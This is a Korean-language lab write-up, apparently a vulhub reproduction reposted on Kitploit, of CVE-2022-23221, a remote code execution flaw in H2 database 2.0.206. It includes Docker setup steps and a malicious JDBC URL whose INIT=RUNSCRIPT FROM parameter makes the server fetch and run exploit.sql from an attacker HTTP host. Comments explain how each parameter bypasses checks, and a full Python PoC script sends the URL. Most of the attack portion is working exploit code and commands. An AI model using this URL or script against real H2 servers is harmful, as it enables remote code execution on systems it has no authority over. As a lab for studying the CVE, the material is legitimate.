H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

공유

시나리오
- 취약한 H2 환경을 구성하고, 악성 JDBC URL을 H2에 입력한다. H2는 이 URL을 제대로 된 검증없이 파싱하고, attacker 서버로부터 sql 파일을 받아서 실행한다. 만약 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어 id, whoami, pwd의 실행 결과가 출력된다면 이는 취약한 H2 환경이 구성되었고, H2가 악성 JDBC URL을 파싱하는 과정에서 외부의 attacker 서버로부터 exploit.sql 파일이 원격으로 다운로드되어 실행됐다는 것을 의미한다.
환경 구성
```
docker compose up -d 
```
- 명령어를 실행하면 아래의 환경들이 시작된다.
- h2-vulnerable: H2 2.0.206 (패치 전 취약 버전)
  - H2 웹 콘솔: http://your-ip:8082
  - TCP 서버: tcp://your-ip:9092
- attacker: HTTP 서버
  - http://your-ip:8000 : exploit.sql 파일 제공
환경구성 후 http://your-ip:8082 에 접속하면 H2 웹 페이지가 나타난다.

정상 JDBC URL: "jdbc:h2:mem:test"

정상 요청 명령어

docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""

실행 결과
- attacker 서버에 들어온 요청없음
- h2-vulnerable 서버에 별다른 로그가 출력되지 않음

악성 JDBC URL을 H2 드라이버에 입력해서 attacker 서버와 연결을 시도한다. 이때 URL을 입력하는 방법에는 2가지가 있다.
1. CLI를 통해서 H2 Shell에 악성 JDBC URL을 직접 입력한다.
```
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
  -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
  -user sa \
  -password ""
```
1. PoC 파일을 실행한다.
```
python3 poc.py
```

H2는 JDBC URL의 INIT 파라미터에 명시된 INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' 대로 attacker 서버로 exploit.sql 파일을 요청(HTTP GET)하고 이를 H2 데이터베이스 내에서 실행한다.
1. docker logs attacker를 실행하면 h2-vulnerable 서버로부터 들어온 exploit.sql 파일 요청 로그를 확인할 수 있다.
```
docker logs attacker
```
1. attacker 서버는 요청받은 exploit.sql 파일을 반환하고, h2-vulnerable 서버는 수신한 exploit.sql 파일을 실행한다. 이때 스크립트 내부의 CREATE ALIAS 구문이 자바 코드 실행을 유도함으로써 RCE가 발생한다

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()

exploit.sql 파일의 실행 결과로 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어 id, whoami, pwd의 실행 결과가 출력된다.
docker logs h2-vulnerable로 로그를 확인할 수 있다.
```
docker logs h2-vulnerable`
```